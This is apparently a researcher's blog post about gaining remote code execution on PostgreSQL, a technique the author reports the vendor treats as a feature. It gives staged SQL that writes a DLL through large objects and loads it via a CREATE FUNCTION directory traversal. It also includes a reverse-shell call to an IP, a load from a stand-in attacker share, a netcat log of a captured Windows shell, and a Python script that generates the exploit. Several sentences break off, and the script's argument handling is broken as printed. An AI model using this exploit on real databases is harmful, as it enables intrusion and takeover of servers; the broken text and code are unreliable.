SQL Injection Double Uppercut :: How to Achieve Remote Code Execution Against PostgreSQL
When I was researching exploit primitives for the SQL Injection vulnerabilities discovered in Cisco DCNM, I came across a generic technique to exploit SQL Injection vulnerabilities against a PostgreSQL database. When developing your exploit primitives, it’s always prefered to use an application technique, that doesn’t rely on some other underlying technology.
TL;DR; I share yet another technique to achieve remote code execution against PostgreSQL Database.
An application technique would be the ability to compromise the database integrity and leverage the trust between the application code and the database. In the case of Cisco DCNM, I found 4 different techniques, 2 of which I blogged about (directory traveral and deserialization).
Although I didn’t know it at the time, Jacob Wilkin had reported a simpler approach to achieving code execution against PostgreSQL by (ab)using copy from program. Recently, Denis Andzakovic also detailed his way of gaining code execution against PostgreSQL as well by (ab)using read/writes to the
I was originally going to sit on this technique, but since Denis exposed the power of
lo_export for exploitation, I figured one more nail on the coffin wouldn’t hurt ;->
I did some testing and discovered that under windows, the NETWORK_SERVICE cannot modify the
postgresql.conf file, so Denis’s technique is *nix specific. However, his technique doesn’t require stacked queries, making it powerful in certain contexts.
CREATE FUNCTION obj_file Directory Traversal
- CVE: N/A
- CVSS: 4.1 (AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L)
This technique works on both *nix and Windows but does require stacked queries since we are leveraging the create function operative.
On the latest versions of PostgreSQL, the
superuser is no longer allowed to load a shared library file from anywhere else besides
C:\Program Files\PostgreSQL\11\lib on Windows or
/var/lib/postgresql/11/lib on *nix. Additionally, this path is not writable by either the NETWORK_SERVICE or postgres accounts.
However, an authenticated database
superuser can write binary files to the filesystem using “large objects” and can of course write to the
C:\Program Files\PostgreSQL\11\data directory. The reason for this should be clear, for updating/creating tables in the database.
The underlying issue is that the
CREATE FUNCTION operative allows for a directory traversal to the data directory! So essentially, an authenticated attacker can write a shared library file into the data directory and use the traversal to load the shared library. This means an attacker can get native code execution and as such, execute arbitrary code.
Stage 1 - We start by creating an entry into the
select lo_import('C:/Windows/win.ini', 1337);
We could have easily used a UNC path here (and skip step 3), but since we want a platform independant technique, we will avoid this.
Stage 2 - Now we modify the
pg_largeobject entry to contain a complete extension. This extension needs to be compiled against the exact major version of the target PostgreSQL database as well as matching its architecture.
For a file that is > 2048 bytes in length, the
pg_largeobject table uses the
pageno field. So we must break our file up into chunks of size 2048 in bytes.
update pg_largeobject SET pageno=0, data=decode(4d5a90...) where loid=1337; insert into pg_largeobject(loid, pageno, data) values (1337, 1, decode(74114d...)); insert into pg_largeobject(loid, pageno, data) values (1337, 2, decode(651400...)); ...
It maybe possible to skip stage 1 (and only performing a single statement execution for stage 2) by using object identifier types within PostgreSQL, but I have not had the time to confirm this.
Stage 3 - Now we can write our binary into the data directory. Remember, we can’t use traversals here since that is checked, but even if we could, strict file permissions for the NETWORK_SERVICE account exist and we have limited options.
select lo_export(1337, 'poc.dll');
Stage 4 - Now, let’s trigger the loading of the library.
I demonstrated in a class I taught a few years back that you can use fixed paths (including UNC) to load extensions against PostgreSQL version 9.x, thus gaining native code execution. @zerosum0x0 demonstrated this by using the file write technique with a fixed path on the filesystem. But back then, permissions on the filesystem were not as restrictive.
create function connect_back(text, integer) returns void as '//attacker/share/poc.dll', 'connect_back' language C strict;
However, a few years passed and the PostgreSQL developers decided to block fixed paths and alas, that technique is now dead. But we can simply traverse from the lib directory and load our extension! The underlying code of the
create function appends the
.dll string, so don’t worry about appending it:
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
Stage 5 - Trigger your reverse shell.
select connect_back('192.168.100.54', 1234);
Things to consider
- You can also load DllMain, but pwning your error log is a one way ticket to detection!
- As mentioned, you will need to compile the dll/so file using the same PostgreSQL version including architecture.
- You can download the extension I used here but you will need to compile it yourself.
ZDI initially acquired this case but never published an advisory and I was later told that the vendor wasn’t patching the issue since it’s considered a feature not a bug.
This code will generate a poc.sql file to run on the database as the superuser. Example:
[email protected]:~/postgres-rce$ ./poc.py (+) usage ./poc.py <connectback> <port> <dll/so> (+) eg: ./poc.py 192.168.100.54 1234 [email protected]:~/postgres-rce$ ./poc.py 192.168.100.54 1234 si-x64-12.dll (+) building poc.sql file (+) run poc.sql in PostgreSQL using the superuser (+) for a db cleanup only, run the following sql: SELECT lo_unlink(l.oid) FROM pg_largeobject_metadata l; DROP FUNCTION connect_back(text, integer); [email protected]:~/postgres-rce$ nc -lvp 1234 Listening on [0.0.0.0] (family 0, port 1234) Connection from 192.168.100.122 49165 received! Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. C:\Program Files\PostgreSQL\12\data>whoami nt authority\network service C:\Program Files\PostgreSQL\12\data>
#!/usr/bin/env python3 import sys if len(sys.argv) != 4: print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv) print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv) sys.exit(1) host = sys.argv port = int(sys.argv) lib = sys.argv with open(lib, "rb") as dll: d = dll.read() sql = "select lo_import('C:/Windows/win.ini', 1337);" for i in range(0, len(d)//2048): start = i * 2048 end = (i+1) * 2048 if i == 0: sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex()) else: sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex()) if (len(d) % 2048) != 0: end = (i+1) * 2048 sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex()) sql += "select lo_export(1337, 'poc.dll');" sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;" sql += "select connect_back('%s', %d);" % (host, port) print("(+) building poc.sql file") with open("poc.sql", "w") as sqlfile: sqlfile.write(sql) print("(+) run poc.sql in PostgreSQL using the superuser") print("(+) for a db cleanup only, run the following sql:") print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;") print(" drop function connect_back(text, integer);")